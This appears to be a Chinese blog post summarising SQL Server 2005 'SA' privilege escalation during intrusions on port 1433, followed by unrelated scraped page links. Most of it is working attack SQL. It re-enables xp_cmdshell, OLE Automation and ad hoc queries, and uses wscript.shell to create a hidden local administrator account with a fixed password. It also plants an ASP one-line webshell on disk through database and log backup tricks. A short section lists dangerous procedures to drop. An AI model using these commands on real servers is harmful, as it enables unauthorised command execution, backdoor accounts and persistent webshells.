首先,看看xp_cmdshell存在不,不存在的话先恢复下。

Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

然后,Exec master.dbo.xp_cmdshell 'net user' 持行命令。

SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。用下面一句话就可以了解决了:

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

关闭一样.只是将上面的后面的那个"1"改成"0"就可以了:

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;--

如果cmdshell还不行的话,就再运行:

;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--

或:

;sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

来恢复cmdshell。

1433SQL入侵恢复xp_cmdshell方法总结:

sql server 2005下开启xp_cmdshell的办法:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

SQL2005开启'OPENROWSET'支持的方法:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

SQL2005开启'sp_oacreate'支持的方法:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

突破SA的各种困难:

0x00:常见情况恢复执行xp_cmdshell

0x01:未能找到存储过程'master..xpcmdshell'

恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
0x02:无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
0x03:无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕
0x04:终极办法
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后:
 
2000servser系统:
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'
 
xp或2003server系统:
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'
 
 
--------------
 
xp_cmdshell新的恢复办法:
恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
 
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
 
 
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'
 
恢复cmdshell的sql语句:
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
开启cmdshell的sql语句:
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判断存储扩展是否存在:
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok!
恢复xp_cmdshell:
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok!
否则上传xplog7.0.dll:
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
堵上cmdshell的sql语句:
sp_dropextendedproc "xp_cmdshell
 
-----------------------------------------
删除sql危险存储:
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
 
恢复扩展存储过程的办法:
先恢复sp_addextendedproc:
create procedure sp_addextendedproc --- 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as 
set implicit_transactions off 
if @@trancount > 0    
begin 
raiserror(15002,-1,-1,'sp_addextendedproc')    
return (1)    
end 
dbcc addextendedproc( @functname, @dllname)    
return (0) -- sp_addextendedproc 
GO
再恢复以上所有扩展存储过程:
use master    
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'    
exec sp_addextendedproc xp_dirtree,'xpstar.dll'    
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'    
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'    
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'    
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'    
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'    
exec sp_addextendedproc sp_OACreate,'odsole70.dll'    
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'    
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'    
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'    
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'    
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'    
exec sp_addextendedproc sp_OAStop,'odsole70.dll'    
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'    
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'    
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'    
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'    
exec sp_addextendedproc xp_regread,'xpstar.dll'    
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'    
exec sp_addextendedproc xp_regwrite,'xpstar.dll'    
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
 
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
 
db权限的时候一句话木马备份shell:
1.log
create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('<%execute(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];
 
2.data
create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values('<%execute(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='c:\bin.asp' backup database @b to disk=@t WITH
 
 

SQL2005之SA提权总结的更多相关文章

  1. WIN提权总结【本地存档-转载】

    [ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1 ...

  2. 一次利用MSSQL的SA账户提权获取服务器权限

    遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下 ...

  3. mssql提权

    MSSQL的提权:下面是三种方法一种利用xp_cmshell组件,还有一种sp_OACreate组件,COM组件 xp_cmshell组件的开启: 1.sql2005版本以后默认为关闭状态,需要开启命 ...

  4. 通过Mssql提权的几种姿势

    本文记录针对SQL Server数据库,在拿到shell之后进行提权的5种方法. 一. xp_cmdshell提权 上面的数据库连接需要知道sa的密码,连接之后,在下面的sql命令处执行: exec ...

  5. WINDOWS渗透与提权总结(1)

    旁站路径问题: 1.读网站配置. 2.用以下VBS: 01 On Error Resume Next 02   03 If (LCase(Right(WScript.Fullname, 11)) = ...

  6. webshell提权20种思路

    1,SER-TU提权(通常是利用SERFTP服务器管理工具,首先要在安装目录下找到INI配置文件,必须具备可写入的权限)2,RADMIN提权(大家并不陌生,我们在扫描4899空口令后,同样需要他来连接 ...

  7. 网站sqlserver提权操作

    在入侵过程中,得到SQLserver的权限,想进一步得到system权限的方法总结 *************************** 利用xp_cmdshell **************** ...

  8. 记一次FileZillaServer提权

    前段时间检测一个企业网站,在检测该企业的一个下属公司的网站时通过用户名admin和密码123456进入了后台,后台目录就是公司汉语拼音+admin,诸如xxxadmin这种形式的.在后台通过“产品图片 ...

  9. MSSQL 漏洞利用与提权

    1.SA口令的获取 webshell或源代码的获取 源代码泄露 嗅探(用CAIN等工具嗅探1433数据库端口) 口令暴力破解 2.常见SQL server 提权命令 查看数据库的版本(select @ ...

随机推荐

  1. ThinkPHP项目CMS内容管理系统开发视频教程【20课】(3.02GB)

    ThinkPHP背景介绍:     ThinkPHP是一个免费开源的,快速.简单的面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业级应用开发而诞生的. ...

  2. Android一个大众化的设置界面

    布局代码如下: <?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns:an ...

  3. 创建Maven工程

    一.Maven工程创建 File->New->Other,进入: 点击Next,进入: 勾选上Create a simple project(不使用骨架) 点击Next,进入: 输入项目名 ...

  4. Linux c实现服务端与客户端聊天

    主要利用socket通信实现,具体代码如下 客户端: #include <stdio.h> #include <stdlib.h> #include <string.h& ...

  5. 区间dp的典例

    区间dp, 属于dp的一种,顾名思义,便是对区间处理的dp,其中石子归并,括号匹配,整数划分最为典型. (1)石子归并 dp三要素:阶段,状态,决策. 首先我们从第i堆石子到第j堆石子合并所花费的最小 ...

  6. PHP PC端接入支付宝和微信感悟

    想着中秋节的时候把异步线程学习完,同事说有个PHP的支付要帮忙做一下,虽然中秋节计划是把C#的异步学完,不过还是喜欢挑战,好久没有像大学一样这么认真的熬夜解决问题了.由于在大学学过asp,它和php有 ...

  7. CodeIgniter框架中关于URL(index.php)的那些事

    最近,在做自己的个人网站时,采用了轻量级的php框架CodeIgniter.乍一看上去,代码清晰简洁,MVC模型非常容易维护.开发时我采用的工具是Netbeans IDE 8.0,当然,本文的内容和开 ...

  8. [wikioi 1307][poj 2054]欧少堆(乱搞)

    题目:http://www.wikioi.com/problem/1307/ 题意:给你一个树,上面有n个节点,每个节点都有一个价值p,求一个n个节点的排列顺序,是的Σi*p[i]最小(要求父节点一定 ...

  9. http加速软件使用说明

    HTTP加速软件使用说明 http加速软件使用于卫星链路,在卫星链路时延高的情况下提高http的传输速率 1.1 软件包依赖 (1)squid-3.4.5.tar.gz (2)trafficserve ...

  10. 【Moqui业务逻辑翻译系列】Sales Representative Seeks Prospects and Opportunities 销售代表寻找期望合作对象和机会

    h1. Sales Representative Seeks Prospects and Opportunities 销售代表寻找期望合作对象和合作机会 h4. Ideas to incorporat ...